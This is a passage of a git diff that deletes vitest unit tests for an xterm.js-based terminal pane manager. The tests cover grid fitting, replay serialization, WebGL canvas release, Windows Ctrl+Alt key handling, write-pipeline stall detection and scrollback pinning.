-import { afterEach, describe, expect, it } from 'vitest'
-import { StableCellFitAddon } from './terminal-stable-cell-fit-addon'
-
-// A DejaVu Sans Mono 14px advance on a 1x display, as measured on a Linux DOM-renderer pane.
-const CHAR_WIDTH = 8.4287109375
-const CELL_HEIGHT = 16
-
-type FakeTerminal = { element: HTMLElement; cols: number; rows: number }
-
-// Mirrors DomRenderer: the css cell is the rounded canvas width divided by the current cols.
-function domRendererTerminal(cols: number, rows: number): Terminal {
-  const parent = document.createElement('div')
-  parent.style.width = '445px'
-  parent.style.height = '796px'
-  const element = document.createElement('div')
-  parent.appendChild(element)
-  document.body.appendChild(parent)
-  const terminal: FakeTerminal & Record<string, unknown> = {
-    element,
-    cols,
-    rows,
-    options: { scrollback: 5000, scrollbar: { width: 7 } },
-    get dimensions() {
-      return {
-        device: { cell: { width: CHAR_WIDTH, height: CELL_HEIGHT } },
-        css: {
-          cell: {
-            width: Math.round(CHAR_WIDTH * terminal.cols) / terminal.cols,
-            height: Math.round(CELL_HEIGHT * terminal.rows) / terminal.rows
-          }
-        }
-      }
-    }
-  }
-  // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: the addons read only element, dimensions and options, all set above.
-  return terminal as unknown as Terminal
-}
-
-function propose(addon: FitAddon, cols: number): { cols: number; rows: number } | undefined {
-  addon.activate(domRendererTerminal(cols, 49))
-  return addon.proposeDimensions()
-}
-
-afterEach(() => {
-  document.body.replaceChildren()
-})
-
-describe('StableCellFitAddon', () => {
-  it('proposes the same grid for the same box whatever grid it fits from', () => {
-    // The bug: xterm's own proposal depends on the grid it starts from.
-    expect(propose(new FitAddon(), 52)?.cols).toBe(52)
-    expect(propose(new FitAddon(), 75)?.cols).toBe(51)
-
-    for (const from of [52, 75, 51, 80, 120]) {
-      expect(propose(new StableCellFitAddon(), from)).toEqual({ cols: 51, rows: 49 })
-    }
-  })
-})
diff --git a/src/renderer/src/lib/pane-manager/terminal-structural-replay-coordinator.test.ts b/src/renderer/src/lib/pane-manager/terminal-structural-replay-coordinator.test.ts
deleted file mode 100644
index 5ad9f0db682..00000000000
--- a/src/renderer/src/lib/pane-manager/terminal-structural-replay-coordinator.test.ts
+++ /dev/null
@@ -1,221 +0,0 @@
-import { afterEach, describe, expect, it, vi } from 'vitest'
-import { createTerminalStructuralReplayCoordinator } from './terminal-structural-replay-coordinator'
-import {
-  markTerminalPinnedViewport,
-  syncTerminalScrollIntentFromViewport
-} from './terminal-scroll-intent'
-import { onTerminalScrollIntentBufferRebuildComplete } from './terminal-scroll-intent-rebuild'
-
-import { restoreScrollStateAfterFit } from './pane-scroll'
-import type { ScrollState } from './pane-manager-types'
-
-function createTerminal(viewportY: number, baseY: number) {
-  const active = { type: 'normal', viewportY, baseY }
-  return {
-    buffer: { active },
-    scrollToBottom: vi.fn(() => {
-      active.viewportY = active.baseY
-    }),
-    scrollToLine: vi.fn((line: number) => {
-      active.viewportY = line
-    })
-  }
-}
-
-function deferred(): { promise: Promise<void>; resolve: () => void } {
-  let resolve = (): void => {}
-  const promise = new Promise<void>((resolvePromise) => {
-    resolve = resolvePromise
-  })
-  return { promise, resolve }
-}
-
-afterEach(() => {
-  vi.restoreAllMocks()
-  vi.unstubAllGlobals()
-})
-
-describe('terminal structural replay coordinator', () => {
-  it('serializes rebuilds and restores a pinned bottom offset after each parse', async () => {
-    const terminal = createTerminal(80, 100)
-    markTerminalPinnedViewport(terminal)
-    const coordinator = createTerminalStructuralReplayCoordinator(terminal)
-    const firstParsed = deferred()
-    const secondParsed = deferred()
-    const starts: string[] = []
-
-    const first = coordinator.run(async () => {
-      starts.push('first')
-      terminal.buffer.active.viewportY = 0
-      terminal.buffer.active.baseY = 0
-      await firstParsed.promise
-      terminal.buffer.active.viewportY = 200
-      terminal.buffer.active.baseY = 200
-    })
-    const second = coordinator.run(async () => {
-      starts.push('second')
-      terminal.buffer.active.viewportY = 0
-      terminal.buffer.active.baseY = 0
-      await secondParsed.promise
-      terminal.buffer.active.viewportY = 300
-      terminal.buffer.active.baseY = 300
-    })
-
-    await Promise.resolve()
-    await Promise.resolve()
-    expect(starts).toEqual(['first'])
-    firstParsed.resolve()
-    await first
-    expect(terminal.buffer.active.viewportY).toBe(180)
-    await Promise.resolve()
-    expect(starts).toEqual(['first', 'second'])
-    secondParsed.resolve()
-    await second
-    expect(terminal.buffer.active.viewportY).toBe(280)
-  })
-
-  it('lets user viewport intent observed during replay supersede the old pin', async () => {
-    const terminal = createTerminal(80, 100)
-    markTerminalPinnedViewport(terminal)
-    const coordinator = createTerminalStructuralReplayCoordinator(terminal)
-    const parsed = deferred()
-
-    const completion = coordinator.run(async () => {
-      terminal.buffer.active.viewportY = 0
-      terminal.buffer.active.baseY = 0
-      onTerminalScrollIntentBufferRebuildComplete(terminal, (completed) => {
-        if (completed) {
-          syncTerminalScrollIntentFromViewport(terminal, { allowBufferShrink: true })
-        }
-      })
-      await parsed.promise
-      terminal.buffer.active.viewportY = 190
-      terminal.buffer.active.baseY = 200
-    })
-
-    parsed.resolve()
-    await completion
-    expect(terminal.buffer.active.viewportY).toBe(190)
-    expect(terminal.scrollToLine).not.toHaveBeenCalled()
-  })
-
-  it('releases a rebuild on disposal without restoring a half-parsed buffer', async () => {
-    const terminal = createTerminal(80, 100)
-    markTerminalPinnedViewport(terminal)
-    const coordinator = createTerminalStructuralReplayCoordinator(terminal)
-    const neverParsed = new Promise<void>(() => {})
-    let postRebuildCompleted: boolean | null = null
-
-    const completion = coordinator.run(async () => {
-      terminal.buffer.active.viewportY = 0
-      terminal.buffer.active.baseY = 0
-      onTerminalScrollIntentBufferRebuildComplete(terminal, (completed) => {
-        postRebuildCompleted = completed
-      })
-      await neverParsed
-    })
-    await Promise.resolve()
-    await Promise.resolve()
-    coordinator.dispose()
-    await completion
-
-    expect(postRebuildCompleted).toBe(false)
-    expect(terminal.buffer.active.viewportY).toBe(0)
-    expect(terminal.scrollToLine).not.toHaveBeenCalled()
-  })
-
-  it('cancels a pre-existing fit restore before replay can make it stale', async () => {
-    const rafCallbacks: FrameRequestCallback[] = []
-    const cancelAnimationFrame = vi.fn()
-    vi.stubGlobal('requestAnimationFrame', (callback: FrameRequestCallback) => {
-      rafCallbacks.push(callback)
-      return rafCallbacks.length
-    })
-    vi.stubGlobal('cancelAnimationFrame', cancelAnimationFrame)
-    const terminal = createTerminal(80, 100) as ReturnType<typeof createTerminal> & {
-      element: object | null
-    }
-    terminal.element = null
-    const staleState: ScrollState = {
-      bufferType: 'normal',
-      wasAtBottom: false,
-      viewportY: 20,
-      baseY: 100
-    }
-    restoreScrollStateAfterFit(terminal as never, staleState, {
-      onRestored: vi.fn(),
-      shouldRestore: () => true
-    })
-    expect(rafCallbacks).toHaveLength(1)
-
-    markTerminalPinnedViewport(terminal)
-    const coordinator = createTerminalStructuralReplayCoordinator(terminal)
-    const parsed = deferred()
-    const completion = coordinator.run(async () => {
-      terminal.buffer.active.viewportY = 0
-      terminal.buffer.active.baseY = 0
-      await parsed.promise
-      terminal.buffer.active.viewportY = 200
-      terminal.buffer.active.baseY = 200
-    })
-    await Promise.resolve()
-    await Promise.resolve()
-    expect(cancelAnimationFrame).toHaveBeenCalledWith(1)
-
-    terminal.element = {}
-    parsed.resolve()
-    await completion
-    expect(terminal.buffer.active.viewportY).toBe(180)
-    rafCallbacks[0]?.(0)
-    expect(terminal.buffer.active.viewportY).toBe(180)
-  })
-
-  it('keeps later replay work serialized behind an asynchronous post-restore fit', async () => {
-    const terminal = createTerminal(80, 100)
-    const coordinator = createTerminalStructuralReplayCoordinator(terminal)
-    const fitCompleted = deferred()
-    const fitStarted = deferred()
-    const events: string[] = []
-
-    const first = coordinator.run(
-      () => {
-        events.push('first-replay')
-      },
-      {
-        afterRestore: async () => {
-          events.push('first-fit')
-          fitStarted.resolve()
-          await fitCompleted.promise
-        }
-      }
-    )
-    const second = coordinator.run(() => {
-      events.push('second-replay')
-    })
-
-    await fitStarted.promise
-    expect(events).toEqual(['first-replay', 'first-fit'])
-    fitCompleted.resolve()
-    await first
-    await second
-    expect(events).toEqual(['first-replay', 'first-fit', 'second-replay'])
-  })
-
-  it('releases an asynchronous post-restore wait when the coordinator is disposed', async () => {
-    const terminal = createTerminal(80, 100)
-    const coordinator = createTerminalStructuralReplayCoordinator(terminal)
-    const fitNeverCompletes = new Promise<void>(() => {})
-    const fitStarted = deferred()
-    const completion = coordinator.run(() => undefined, {
-      afterRestore: async () => {
-        fitStarted.resolve()
-        await fitNeverCompletes
-      }
-    })
-
-    await fitStarted.promise
-    coordinator.dispose()
-
-    await expect(completion).resolves.toBeUndefined()
-  })
-})
diff --git a/src/renderer/src/lib/pane-manager/terminal-structural-replay-presentation.test.ts b/src/renderer/src/lib/pane-manager/terminal-structural-replay-presentation.test.ts
deleted file mode 100644
index cb9aad47997..00000000000
--- a/src/renderer/src/lib/pane-manager/terminal-structural-replay-presentation.test.ts
+++ /dev/null
@@ -1,117 +0,0 @@
-// @vitest-environment happy-dom
-import { afterEach, describe, expect, it, vi } from 'vitest'
-import { createTerminalStructuralReplayCoordinator } from './terminal-structural-replay-coordinator'
-import { TERMINAL_REPLAY_PRESENTATION_MAX_HOLD_MS } from './terminal-replay-presentation'
-
-function deferred() {
-  let resolve = (): void => {}
-  const promise = new Promise<void>((complete) => {
-    resolve = complete
-  })
-  return { promise, resolve }
-}
-
-function createTerminal() {
-  const element = document.createElement('div')
-  const screen = document.createElement('div')
-  screen.className = 'xterm-screen'
-  const rows = document.createElement('div')
-  rows.className = 'xterm-rows'
-  rows.textContent = 'Last coherent frame'
-  screen.append(rows)
-  vi.spyOn(screen, 'getBoundingClientRect').mockReturnValue(new DOMRect(0, 0, 1240, 944))
-  element.append(screen)
-  document.body.append(element)
-  vi.spyOn(element, 'getBoundingClientRect').mockReturnValue(new DOMRect(0, 0, 1240, 944))
-  const listeners = new Set<() => void>()
-  const paints: { cols: number; rows: number; opacity: string }[] = []
-  const terminal = {
-    element,
-    cols: 155,
-    rows: 59,
-    buffer: { active: { type: 'normal', viewportY: 0, baseY: 0 } },
-    onResize: (listener: () => void) => {
-      listeners.add(listener)
-      return { dispose: () => listeners.delete(listener) }
-    },
-    resize: (cols: number, rows: number) => {
-      terminal.cols = cols
-      terminal.rows = rows
-      for (const listener of listeners) {
-        listener()
-      }
-    },
-    _core: {
-      refresh: vi.fn(() => {
-        paints.push({
-          cols: terminal.cols,
-          rows: terminal.rows,
-          opacity: screen.style.opacity
-        })
-      })
-    }
-  }
-  return { terminal, screen, paints, listeners }
-}
-
-afterEach(() => {
-  document.body.replaceChildren()
-  vi.restoreAllMocks()
-})
-
-describe('structural replay presentation', () => {
-  it('keeps a replacement session covered when the old session releases late', async () => {
-    const { terminal, screen } = createTerminal()
-    const oldSession = createTerminalStructuralReplayCoordinator(terminal)
-    const nextSession = createTerminalStructuralReplayCoordinator(terminal)
-    const oldStarted = deferred()
-    const nextStarted = deferred()
-    const parsed = deferred()
-    const oldReplay = oldSession.run(async () => {
-      oldStarted.resolve()
-      await new Promise<void>(() => {})
-    })
-    await oldStarted.promise
-    const nextReplay = nextSession.run(async () => {
-      nextStarted.resolve()
-      await parsed.promise
-    })
-    await nextStarted.promise
-    expect(terminal.element.querySelectorAll('[data-terminal-replay-frame]')).toHaveLength(1)
-    oldSession.dispose()
-    await oldReplay
-    expect(screen.style.opacity).toBe('0')
-    expect(terminal.element.querySelectorAll('[data-terminal-replay-frame]')).toHaveLength(1)
-    parsed.resolve()
-    await nextReplay
-    expect(screen.style.opacity).toBe('')
-    expect(terminal.element.querySelector('[data-terminal-replay-frame]')).toBeNull()
-  })
-
-  it('does not let a replay released after the cap reveal a newer hold', async () => {
-    vi.useFakeTimers()
-    try {
-      const { terminal, screen } = createTerminal()
-      const stuck = createTerminalStructuralReplayCoordinator(terminal)
-      const later = createTerminalStructuralReplayCoordinator(terminal)
-      const release = deferred()
-      const stuckReplay = stuck.run(() => release.promise)
-      await vi.advanceTimersByTimeAsync(TERMINAL_REPLAY_PRESENTATION_MAX_HOLD_MS)
-      expect(screen.style.opacity).toBe('')
-      const parsed = deferred()
-      const laterReplay = later.run(() => parsed.promise)
-      await vi.advanceTimersByTimeAsync(0)
-      expect(screen.style.opacity).toBe('0')
-      release.resolve()
-      await stuckReplay
-      expect(screen.style.opacity).toBe('0')
-      expect(terminal.element.querySelectorAll('[data-terminal-replay-frame]')).toHaveLength(1)
-      parsed.resolve()
-      await laterReplay
-      expect(screen.style.opacity).toBe('')
-      expect(terminal.element.querySelector('[data-terminal-replay-frame]')).toBeNull()
-    } finally {
-      vi.useRealTimers()
-    }
-  })
-})
diff --git a/src/renderer/src/lib/pane-manager/terminal-webgl-hidden-canvas-release.test.ts b/src/renderer/src/lib/pane-manager/terminal-webgl-hidden-canvas-release.test.ts
deleted file mode 100644
index a02d30e1224..00000000000
--- a/src/renderer/src/lib/pane-manager/terminal-webgl-hidden-canvas-release.test.ts
+++ /dev/null
@@ -1,72 +0,0 @@
-// @vitest-environment happy-dom
-import { afterEach, describe, expect, it, vi } from 'vitest'
-import {
-  HIDDEN_WEBGL_CANVAS_RELEASE_DELAY_MS,
-  isWebglCanvasBackingReleased,
-  releaseWebglCanvasBackingWhileHidden,
-  stopReleasingWebglCanvasBacking
-} from './terminal-webgl-hidden-canvas-release'
-
-type ResizeCallback = (entries: { contentRect: { width: number; height: number } }[]) => void
-
-function makeCanvas() {
-  let onResize: ResizeCallback = () => {}
-  vi.stubGlobal(
-    'ResizeObserver',
-    class {
-      constructor(callback: ResizeCallback) {
-        onResize = callback
-      }
-      observe(): void {}
-      unobserve(): void {}
-      disconnect(): void {}
-    }
-  )
-  const canvas = document.createElement('canvas')
-  canvas.width = 2000
-  canvas.height = 1000
-  return {
-    canvas,
-    reportBox: (width: number) => onResize([{ contentRect: { width, height: width } }])
-  }
-}
-
-afterEach(() => {
-  vi.useRealTimers()
-  vi.unstubAllGlobals()
-})
-
-describe('releaseWebglCanvasBackingWhileHidden', () => {
-  it('releases a canvas attached while hidden and restores it when a box is reported', () => {
-    vi.useFakeTimers()
-    const { canvas, reportBox } = makeCanvas()
-    const restore = vi.fn()
-    releaseWebglCanvasBackingWhileHidden(canvas, () => true, restore)
-
-    vi.advanceTimersByTime(HIDDEN_WEBGL_CANVAS_RELEASE_DELAY_MS)
-    expect(canvas.width).toBe(0)
-    expect(isWebglCanvasBackingReleased(canvas)).toBe(true)
-
-    // The reveal's resize callback must restore before that frame paints.
-    reportBox(500)
-    expect(restore).toHaveBeenCalledTimes(1)
-    expect(isWebglCanvasBackingReleased(canvas)).toBe(false)
-    stopReleasingWebglCanvasBacking(canvas)
-  })
-
-  it('keeps the backing while the veto holds or the canvas has a box', () => {
-    vi.useFakeTimers()
-    const vetoed = makeCanvas()
-    releaseWebglCanvasBackingWhileHidden(vetoed.canvas, () => false, vi.fn())
-    vi.advanceTimersByTime(HIDDEN_WEBGL_CANVAS_RELEASE_DELAY_MS * 2)
-    expect(vetoed.canvas.width).toBe(2000)
-
-    const visible = makeCanvas()
-    releaseWebglCanvasBackingWhileHidden(visible.canvas, () => true, vi.fn())
-    visible.reportBox(500)
-    vi.advanceTimersByTime(HIDDEN_WEBGL_CANVAS_RELEASE_DELAY_MS * 2)
-    expect(visible.canvas.width).toBe(2000)
-    stopReleasingWebglCanvasBacking(vetoed.canvas)
-    stopReleasingWebglCanvasBacking(visible.canvas)
-  })
-})
diff --git a/src/renderer/src/lib/pane-manager/terminal-windows-ctrl-alt-chord-classification.test.ts b/src/renderer/src/lib/pane-manager/terminal-windows-ctrl-alt-chord-classification.test.ts
deleted file mode 100644
index 0a8267414a4..00000000000
--- a/src/renderer/src/lib/pane-manager/terminal-windows-ctrl-alt-chord-classification.test.ts
+++ /dev/null
@@ -1,74 +0,0 @@
-// @vitest-environment happy-dom
-
-import { describe, expect, it } from 'vitest'
-import { Terminal } from '@xterm/xterm'
-import { installWindowsCtrlAltChordRepair } from './terminal-windows-ctrl-alt-chord-classification'
-
-const WINDOWS_ELECTRON_UA =
-  'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) ' +
-  'orca/1.0.0 Chrome/126.0.0.0 Electron/31.0.0 Safari/537.36'
-
-type ClassificationEvent = {
-  type: string
-  keyCode: number
-  ctrlKey: boolean
-  altKey: boolean
-  metaKey: boolean
-  shiftKey?: boolean
-  getModifierState?: (keyArg: string) => boolean
-}
-
-function chord(overrides: Partial<ClassificationEvent> = {}): ClassificationEvent {
-  return {
-    type: 'keydown',
-    keyCode: 85,
-    ctrlKey: true,
-    altKey: true,
-    metaKey: false,
-    getModifierState: () => false,
-    ...overrides
-  }
-}
-
-type CoreThirdLevelShift = (
-  browser: { isMac?: boolean; isWindows?: boolean },
-  event: ClassificationEvent
-) => boolean
-
-type XtermCoreInternals = {
-  _isThirdLevelShift?: CoreThirdLevelShift
-}
-
-function getCore(terminal: Terminal): XtermCoreInternals {
-  return (terminal as unknown as { _core?: XtermCoreInternals })._core ?? {}
-}
-
-function getThirdLevelShift(terminal: Terminal): CoreThirdLevelShift {
-  const core = getCore(terminal)
-  const classify = core._isThirdLevelShift
-  if (typeof classify !== 'function') {
-    throw new Error('xterm no longer exposes _core._isThirdLevelShift')
-  }
-  return classify.bind(core)
-}
-
-describe('installWindowsCtrlAltChordRepair', () => {
-  it('reclassifies only genuine Windows Ctrl+Alt chords', () => {
-    const terminal = new Terminal()
-    try {
-      installWindowsCtrlAltChordRepair(terminal, WINDOWS_ELECTRON_UA)
-      const classify = getThirdLevelShift(terminal)
-      const windows = { isWindows: true }
-      expect(classify(windows, chord())).toBe(false)
-      expect(classify(windows, chord({ shiftKey: true }))).toBe(false)
-      // AltGr composition keeps xterm's third-level-shift handling.
-      expect(classify(windows, chord({ getModifierState: (key) => key === 'AltGraph' }))).toBe(true)
-      // macOS option-as-third-level-shift is untouched.
-      expect(
-        classify({ isMac: true }, chord({ ctrlKey: false, getModifierState: () => false }))
-      ).toBe(true)
-    } finally {
-      terminal.dispose()
-    }
-  })
-})
diff --git a/src/renderer/src/lib/pane-manager/terminal-write-pipeline-health.test.ts b/src/renderer/src/lib/pane-manager/terminal-write-pipeline-health.test.ts
deleted file mode 100644
index 81f6bd222dc..00000000000
--- a/src/renderer/src/lib/pane-manager/terminal-write-pipeline-health.test.ts
+++ /dev/null
@@ -1,110 +0,0 @@
-import { afterEach, describe, expect, it, vi } from 'vitest'
-import {
-  _resetWritePipelineHealthForTests,
-  armTerminalWriteStallWatch,
-  captureTerminalParseProgressGeneration,
-  hasTerminalParseProgressSince,
-  isTerminalWritePipelineCertifiedDead,
-  registerUndeliverableWriteHandler,
-  requestTerminalWritePipelineProbe,
-  settleTerminalWriteStallWatch,
-  WRITE_PIPELINE_STALL_CHECK_MS
-} from './terminal-write-pipeline-health'
-
-type FakeTerminal = {
-  write: (data: string, cb?: () => void) => void
-  pendingCallbacks: (() => void)[]
-  flush: () => void
-  throwOnWrite?: boolean
-  dropCallbacks?: boolean
-}
-
-function makeTerminal(): FakeTerminal {
-  const pendingCallbacks: (() => void)[] = []
-  const terminal: FakeTerminal = {
-    pendingCallbacks,
-    write(_data, cb) {
-      if (terminal.throwOnWrite) {
-        throw new Error('disposed')
-      }
-      if (cb && !terminal.dropCallbacks) {
-        pendingCallbacks.push(cb)
-      }
-    },
-    flush() {
-      while (pendingCallbacks.length > 0) {
-        pendingCallbacks.shift()?.()
-      }
-    }
-  }
-  return terminal
-}
-
-afterEach(() => {
-  vi.useRealTimers()
-})
-
-describe('terminal write pipeline health', () => {
-  it('a slow-but-alive pipeline disarms when the probe parses', () => {
-    vi.useFakeTimers()
-    const terminal = makeTerminal()
-    const handler = vi.fn()
-    registerUndeliverableWriteHandler(terminal, handler)
-
-    armTerminalWriteStallWatch(terminal)
-    const generation = captureTerminalParseProgressGeneration(terminal)
-    vi.advanceTimersByTime(WRITE_PIPELINE_STALL_CHECK_MS)
-    expect(terminal.pendingCallbacks).toHaveLength(1)
-    terminal.flush()
-    vi.advanceTimersByTime(WRITE_PIPELINE_STALL_CHECK_MS * 3)
-
-    expect(hasTerminalParseProgressSince(terminal, generation)).toBe(true)
-    expect(handler).not.toHaveBeenCalled()
-    expect(isTerminalWritePipelineCertifiedDead(terminal)).toBe(false)
-    _resetWritePipelineHealthForTests(terminal)
-  })
-
-  it('a throwing discard callback does not suppress the recovery notification', () => {
-    vi.useFakeTimers()
-    const terminal = makeTerminal()
-    terminal.dropCallbacks = true
-    const handler = vi.fn()
-    const onCertifiedDead = vi.fn(() => {
-      throw new TypeError('window.api is gone')
-    })
-    registerUndeliverableWriteHandler(terminal, handler)
-
-    armTerminalWriteStallWatch(terminal, { onCertifiedDead })
-    expect(() => vi.advanceTimersByTime(WRITE_PIPELINE_STALL_CHECK_MS * 2)).not.toThrow()
-
-    expect(handler).toHaveBeenCalledWith('write-stalled')
-    expect(isTerminalWritePipelineCertifiedDead(terminal)).toBe(true)
-    _resetWritePipelineHealthForTests(terminal)
-  })
-
-  it('keeps a requested probe alive while the pipeline makes parse progress', () => {
-    vi.useFakeTimers()
-    const terminal = makeTerminal()
-    terminal.dropCallbacks = true
-    const handler = vi.fn()
-    registerUndeliverableWriteHandler(terminal, handler)
-
-    requestTerminalWritePipelineProbe(terminal)
-    vi.advanceTimersByTime(WRITE_PIPELINE_STALL_CHECK_MS)
-    vi.advanceTimersByTime(WRITE_PIPELINE_STALL_CHECK_MS / 2)
-    settleTerminalWriteStallWatch(terminal)
-    vi.advanceTimersByTime(WRITE_PIPELINE_STALL_CHECK_MS / 2)
-    vi.advanceTimersByTime(WRITE_PIPELINE_STALL_CHECK_MS / 2)
-    settleTerminalWriteStallWatch(terminal)
-    vi.advanceTimersByTime(WRITE_PIPELINE_STALL_CHECK_MS / 2)
-
-    expect(handler).not.toHaveBeenCalled()
-    expect(isTerminalWritePipelineCertifiedDead(terminal)).toBe(false)
-
-    vi.advanceTimersByTime(WRITE_PIPELINE_STALL_CHECK_MS)
-
-    expect(handler).toHaveBeenCalledWith('write-stalled')
-    expect(isTerminalWritePipelineCertifiedDead(terminal)).toBe(true)
-    _resetWritePipelineHealthForTests(terminal)
-  })
-})
diff --git a/src/renderer/src/lib/pane-manager/xterm-instance-disposed.test.ts b/src/renderer/src/lib/pane-manager/xterm-instance-disposed.test.ts
deleted file mode 100644
index 83d340da235..00000000000
--- a/src/renderer/src/lib/pane-manager/xterm-instance-disposed.test.ts
+++ /dev/null
@@ -1,13 +0,0 @@
-import { describe, expect, it } from 'vitest'
-import { Terminal } from '@xterm/xterm'
-import { isXtermInstanceDisposed } from './xterm-instance-disposed'
-
-describe('isXtermInstanceDisposed', () => {
-  it('tracks dispose on the real vendored xterm build', () => {
-    // Pin the private disposed field to vendored xterm; silent false after an upgrade would blind zombie-pane diagnostics.
-    const terminal = new Terminal({ allowProposedApi: true })
-    expect(isXtermInstanceDisposed(terminal)).toBe(false)
-    terminal.dispose()
-    expect(isXtermInstanceDisposed(terminal)).toBe(true)
-  })
-})
diff --git a/src/renderer/src/lib/pane-manager/xterm-parse-barrier.test.ts b/src/renderer/src/lib/pane-manager/xterm-parse-barrier.test.ts
deleted file mode 100644
index e5083b4f5cb..00000000000
--- a/src/renderer/src/lib/pane-manager/xterm-parse-barrier.test.ts
+++ /dev/null
@@ -1,45 +0,0 @@
-import { Terminal as HeadlessTerminal } from '@xterm/headless'
-import { Terminal as BrowserTerminal } from '@xterm/xterm'
-import { afterEach, describe, expect, it, vi } from 'vitest'
-import { _resetWritePipelineHealthForTests } from './terminal-write-pipeline-health'
-import { writeXtermParseBarrier } from './xterm-parse-barrier'
-
-vi.mock('@/app-shell/startup/e2e-config', () => ({ e2eConfig: { exposeStore: false } }))
-
-type Terminal = HeadlessTerminal | BrowserTerminal
-const terminals: Terminal[] = []
-
-function createTerminal(Constructor: typeof HeadlessTerminal | typeof BrowserTerminal): Terminal {
-  const terminal = new Constructor({ cols: 80, rows: 24, allowProposedApi: true })
-  terminals.push(terminal)
-  return terminal
-}
-
-function line(terminal: Terminal, row: number): string | undefined {
-  return terminal.buffer.active.getLine(row)?.translateToString(true)
-}
-
-afterEach(() => {
-  for (const terminal of terminals.splice(0)) {
-    _resetWritePipelineHealthForTests(terminal)
-    terminal.dispose()
-  }
-  vi.useRealTimers()
-})
-
-describe.each([
-  ['headless', HeadlessTerminal],
-  ['browser', BrowserTerminal]
-] as const)('%s xterm parse barrier across a resize', (_name, Constructor) => {
-  it('preserves partial UTF-8 and escape sequences without writing marker bytes', () => {
-    const terminal = createTerminal(Constructor)
-    terminal.write(new Uint8Array([0xe2]))
-    writeXtermParseBarrier(terminal, () => {})
-    terminal.write(new Uint8Array([0x82, 0xac]))
-    terminal.write('\x1b[3')
-    writeXtermParseBarrier(terminal, () => {})
-    terminal.write('1mred')
-    terminal.resize(40, 10)
-    expect(line(terminal, 0)).toBe('€red')
-  })
-})
diff --git a/src/renderer/src/lib/pane-manager/xterm-user-scrolling-contract.test.ts b/src/renderer/src/lib/pane-manager/xterm-user-scrolling-contract.test.ts
deleted file mode 100644
index 1e7c482f11b..00000000000
--- a/src/renderer/src/lib/pane-manager/xterm-user-scrolling-contract.test.ts
+++ /dev/null
@@ -1,169 +0,0 @@
-import { describe, expect, it } from 'vitest'
-import { Terminal } from '@xterm/headless'
-
-import { installTerminalLiveScrollbackRestore } from './terminal-live-scrollback-restore'
-import { markTerminalPinnedViewport } from './terminal-scroll-intent'
-
-type TerminalWithBufferService = Terminal & {
-  _core?: {
-    _bufferService?: { isUserScrolling?: boolean }
-    coreService?: { onUserInput?: (listener: () => void) => { dispose: () => void } }
-  }
-}
-
-function write(term: Terminal, data: string): Promise<void> {
-  return new Promise((resolve) => term.write(data, resolve))
-}
-
-async function writeLines(term: Terminal, count: number, label: string): Promise<void> {
-  for (let i = 0; i < count; i += 1) {
-    await write(term, `${label}${i}\r\n`)
-  }
-}
-
-/** 100 lines of scrollback with the viewport pinned 30 rows up and that pin recorded. */
-async function pinnedScrollbackTerminal(): Promise<TerminalWithBufferService> {
-  const term = new Terminal({
-    rows: 10,
-    cols: 40,
-    scrollback: 1000,
-    allowProposedApi: true
-  }) as TerminalWithBufferService
-  await write(term, Array.from({ length: 100 }, (_, index) => `before${index}\r\n`).join(''))
-  term.scrollLines(-30)
-  markTerminalPinnedViewport(term)
-  return term
-}
-
-/** Give each virtual schedule its own cancellable timer so missing cancellation appears as an extra firing, not an absorbed debounce. */
-function manualSettleScheduler(): {
-  now: () => number
-  scheduleSettle: (run: () => void, delayMs: number) => () => void
-  advance: (ms: number) => void
-  scheduleCount: () => number
-  cancelCount: () => number
-  liveTimerCount: () => number
-} {
-  type FakeTimer = { run: () => void; dueAt: number; dead: boolean }
-  const timers: FakeTimer[] = []
-  let nowMs = 0
-  let scheduleCount = 0
-  let cancelCount = 0
-  return {
-    now: () => nowMs,
-    scheduleSettle: (run, delayMs) => {
-      const timer: FakeTimer = { run, dueAt: nowMs + delayMs, dead: false }
-      timers.push(timer)
-      scheduleCount += 1
-      return () => {
-        if (!timer.dead) {
-          cancelCount += 1
-        }
-        timer.dead = true
-      }
-    },
-    advance: (ms) => {
-      nowMs += ms
-      // Bound loops so zero-delay rearm fails instead of hanging CI.
-      for (let fired = 0; ; fired += 1) {
-        if (fired > 1_000) {
-          throw new Error('settle scheduler livelocked: zero-delay re-arm loop')
-        }
-        let due: FakeTimer | null = null
-        for (const timer of timers) {
-          if (!timer.dead && timer.dueAt <= nowMs && (!due || timer.dueAt < due.dueAt)) {
-            due = timer
-          }
-        }
-        if (!due) {
-          return
-        }
-        due.dead = true
-        due.run()
-      }
-    },
-    scheduleCount: () => scheduleCount,
-    cancelCount: () => cancelCount,
-    liveTimerCount: () => timers.filter((timer) => !timer.dead).length
-  }
-}
-
-const SETTLE_MS = 120
-
-async function pinnedTerminalWithRestore(): Promise<{
-  term: TerminalWithBufferService
-  advance: (ms: number) => void
-  settle: () => void
-  bottomOffset: number
-  restore: { dispose: () => void }
-  scheduleCount: () => number
-  cancelCount: () => number
-}> {
-  const term = await pinnedScrollbackTerminal()
-  const scheduler = manualSettleScheduler()
-  const restore = installTerminalLiveScrollbackRestore(term, {
-    now: scheduler.now,
-    scheduleSettle: scheduler.scheduleSettle
-  })
-  return {
-    term,
-    advance: scheduler.advance,
-    settle: () => scheduler.advance(SETTLE_MS),
-    bottomOffset: term.buffer.active.baseY - term.buffer.active.viewportY,
-    restore,
-    scheduleCount: scheduler.scheduleCount,
-    cancelCount: scheduler.cancelCount
-  }
-}
-
-describe('live scrollback-erase pin (CSI 3 J)', () => {
-  it('measures the pin from the rows already written earlier in the same chunk', async () => {
-    const { term, settle, bottomOffset } = await pinnedTerminalWithRestore()
-    const rowsBeforeErase = 20
-
-    // Capture at parser erase, not write boundary, to include rows preceding erase in the same chunk.
-    await write(
-      term,
-      `${'pre\r\n'.repeat(rowsBeforeErase)}\x1b[2J\x1b[H\x1b[3J${'post\r\n'.repeat(120)}`
-    )
-    settle()
-
-    expect(term.buffer.active.baseY - term.buffer.active.viewportY).toBe(
-      bottomOffset + rowsBeforeErase
-    )
-  })
-
-  it('measures the pin from live coordinates, not stale durable ones', async () => {
-    const term = await pinnedScrollbackTerminal()
-    const scheduler = manualSettleScheduler()
-    installTerminalLiveScrollbackRestore(term, {
-      now: scheduler.now,
-      scheduleSettle: scheduler.scheduleSettle
-    })
-
-    // Stored pre-remount intent can describe a taller buffer and the wrong live offset.
-    term.clear()
-    term.scrollToBottom()
-    await writeLines(term, 40, 'replayed')
-    term.scrollLines(-5)
-    const liveOffset = term.buffer.active.baseY - term.buffer.active.viewportY
-    expect(liveOffset).toBe(5)
